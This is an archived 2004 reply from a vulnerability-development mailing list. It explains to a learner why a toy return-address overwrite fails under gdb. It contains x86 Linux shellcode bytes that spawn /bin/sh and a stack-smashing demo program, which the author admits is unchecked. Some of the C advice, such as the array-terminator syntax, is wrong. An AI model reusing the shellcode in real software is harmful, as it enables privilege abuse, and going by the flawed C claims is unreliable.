Vulnerability Development mailing list archives

Re: problem with RET & debian debuggin'


From: Marius Huse Jacobsen <mahuja () c2i net>
Date: Fri, 12 Mar 2004 21:46:06 +0100

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello,


You're trying to overwrite the return address, but... for certain
reasons it won't work.  I even have a should-be-working example at the
bottom.


char foo[8];
Most compilers will read this as
static char foo[8];
which usually means that the character string ends up together with
code. (It may be put in a separate section of the program)

You're counting on it being on the stack.


int i;
This will nearly always end up as a variable on the stack.
However, some compilers might put them in reverse, so you'd end up
overwriting i in your quest to hit the EIP value.

Since it is signed (as per default) it may also be -1048503 which is
smaller than 24, but upon adding &foo[0] and i you will get an address
which may not exist. That's an access violation just waiting to
happen.

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";

There are two details here.

First of all, are you sure about "//bin/sh" ?

And secondly, what it really says is
"//bin/sh0roueuryfuf<insert_more_arbitrary_data>"
The correct syntax would be
char c[] = "abcd" , 0;

for (i=0;i<8+16;i+=4)
  foo[i]=&shellcode;
}

Referring to foo[i] will mean that the result is truncated to
one byte (char), where you're trying to do four bytes at a time.
Changing to int foo will solve that but then you must also adjust the
indexing. (i=0;i<6;i++)


To step through what your program is doing (in most cases):

It gets the value of &shellcode, whose value will depend on a few external
factors outside your control, and truncate it to the "least" byte. It
then places that byte at the following locations:

foo[0]      // foo[1] and foo[2] and foo[3] are unchanged
foo[4]
foo[8]
foo[12] which is likely also shellcode[3]
foo[16] which is likely also shellcode[7]
foo[20] which is likely also shellcode[11]

Then it exits.

BRCMETSDI> With this simply code we I want overwrite ebp & eip.
BRCMETSDI> ebp addr should be foo+8 and eip addr foo+12.
BRCMETSDI> Compile with -g option and fire up gdb.

BRCMETSDI> Program received signal SIGILL, Illegal instruction.
BRCMETSDI> 0x400361cf in __libc_start_main () from /lib/libc.so.6
BRCMETSDI> (gdb) i r ebp eip
BRCMETSDI> ebp            0xbffffacc       0xbffffacc
BRCMETSDI> eip            0x400361cf       0x400361cf

BRCMETSDI> mmmmmm first thing we take look around and see that ebp and eip contents
BRCMETSDI> differents addresses.
BRCMETSDI> why? I think overwrited was theorical implemented but notice that gdb doesnt
BRCMETSDI> think the same xD.

BRCMETSDI> < foo >< ebp >< eip >
BRCMETSDI>  8      8      8
BRCMETSDI>  |      |      |
BRCMETSDI>  |------|------|------> &shellcode

First of all, you have no guarantees that foo is on the stack with the
rest. In fact, you probably do no have it there.

There are three places where variables are stored.
heap - allocated and deallocated manually through malloc() free() (c)
  or operators new and delete (c++)
stack - keyword auto - created on the stack, together with return
  information.
codeblock - keyword static - fixed spot in memory, often right where
you declare it (compared to the function code)

And... since when did did the registers grow to 64 bits?
(I'd expect 64bit cpu mnemonics to change a bit...)

BRCMETSDI> Well,lets see by eip was overwrited,buy ebp was sucessfully overwrited? lets
BRCMETSDI> modify the code:

BRCMETSDI>   foo[i]=0xbffffabc;

BRCMETSDI> (gdb) i r ebp eip
BRCMETSDI> ebp            0xbffffabc       0xbffffabc
BRCMETSDI> eip            0x40034370       0x40034370

BRCMETSDI> Yep,ebp overwrited but what about eip? lets investigate...

Nope. It wasn't changed, but you changed the value you compared it to.
In this case, the values I mentioned above (in foo and shellcode) is
changed to the byte 0xbc

It's the default value for ebp - if ebp was just left alone, it would be
that value. And since it IS left alone, it is that value.
(The exact value will depend on the system)

BRCMETSDI> Thanks and sorry for my pour english :P
Overwrited -> Overwritten
Pour -> Poor
At least I don't have any trouble understanding what you mean. At that
point i rarely complain. (Except when it's very tiresome, which this
wasn't)


Let me try - I'm not gonna check this against a compiler, but it
should work as written. But then again, when somebody says that... :)

void main() {
  static char shellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
    "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
    "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
    "\xcd\x80/"
    "/bin/sh",0;  // properly terminated here
  static unsigned int i;   // I don't want this on the stack either
                           // int to get transactions of 32 bits
                           // we want to overwrite the whole values
  auto int foo[0];         // Explicitly put this on the stack

  for (i=0;i<6;i++)        // i < 6 because 6 = 24 bytes
      foo[i] = &shellcode[0];

  return;
}

Good luck on further studying.

- --
Best regards,
 Marius                            mailto:mahuja () c2i net

-----BEGIN PGP SIGNATURE-----

iQA/AwUBQFITjJfZ2CSWpu1rEQL2TQCeNswSs77PGh+8iWCpZT9VKJOWv3cAoOUM
fwPlqtcmPVjdOEV32JZ0hl6e
=p15f
-----END PGP SIGNATURE-----


Current thread: